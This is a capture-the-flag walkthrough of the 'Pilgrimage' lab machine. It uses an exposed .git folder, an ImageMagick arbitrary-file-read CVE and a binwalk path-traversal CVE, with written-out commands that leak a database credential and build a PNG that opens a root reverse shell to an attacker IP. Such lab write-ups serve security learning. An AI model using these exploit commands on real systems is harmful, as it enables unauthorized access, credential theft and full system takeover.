Pilgrimage
Nmap :p
nmap -sC -sV pilgrimage.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
| http-git:
| 10.129.x.x:80/.git/
| Git repository found!
When I first nmapped by IP there wasn’t much, but scanning by hostname shows a .git folder exposed on the website. That means we can pull down the site’s source code with git-dumper:
git-dumper http://pilgrimage.htb/.git/ pilgrimage-src
The website is an image shrinker that runs on PHP. Looking through the source, it’s using ImageMagick (magick convert) to resize uploaded images, and there’s a magick binary sitting in the repo we can check the version of:
./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64
Looking up ImageMagick CVEs from 2022 for that version leads us to CVE-2022-44268. When ImageMagick resizes a PNG, it’ll read a file path from a text chunk inside the PNG and embed that file’s contents into the output image. So we can read any file the web server can read.
https://github.com/entr0pie/CVE-2022-44268
Arbitrary file read
Looking through dashboard.php in the source we can see the site uses a SQLite database at /var/db/pilgrimage. That’s what we want, so we make a malicious PNG pointing at it:
python3 CVE-2022-44268.py /var/db/pilgrimage
We upload that PNG to the shrinker, download the shrunk version it gives back, and read the embedded data out of it:
identify -verbose sql.png
The file contents show up in the output as a big hex blob under “Raw profile type”. We grab the raw hex and put it into a file called sql, then convert it back into bytes to reconstruct the database:
python3 -c "
data = open('sql','r').read().replace('\n','')
open('sqlite.db', 'wb').write(bytes.fromhex(data))
"
sqlite3 sqlite.db "SELECT * FROM users;"
emily|abigchonkyboi123
We can then SSH in as emily and find the user flag.
Privesc
Now that we have a shell as emily, we can look at running processes and find /usr/sbin/malwarescan.sh running as root:
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
...
It watches the shrunk/ folder and runs binwalk -e on every new file. Checking the binwalk version on the box shows v2.3.2, which is vulnerable to CVE-2022-4510. Binwalk’s extraction has a path traversal bug, so a crafted file can make binwalk drop a plugin file into its own plugin folder, and binwalk then loads and runs that plugin. Since root is running binwalk here, our code runs as root.
We use this public exploit to make a PNG that will send us a reverse shell when binwalk processes it:
https://github.com/adhikara13/CVE-2022-4510-WalkingPath
python3 walkingpath.py reverse bruh.png 10.10.17.229 4444
This makes binwalk_exploit.png. The shrunk/ folder is world writable, so instead of going through the website upload we can just drop the file straight in:
nc -lvnp 4444
scp binwalk_exploit.png emily@pilgrimage.htb:/var/www/pilgrimage.htb/shrunk/
As soon as malwarescan.sh sees the new file and runs binwalk on it, we get a reverse shell as root and can grab the root flag:
cat /root/root.txt
Ez gg.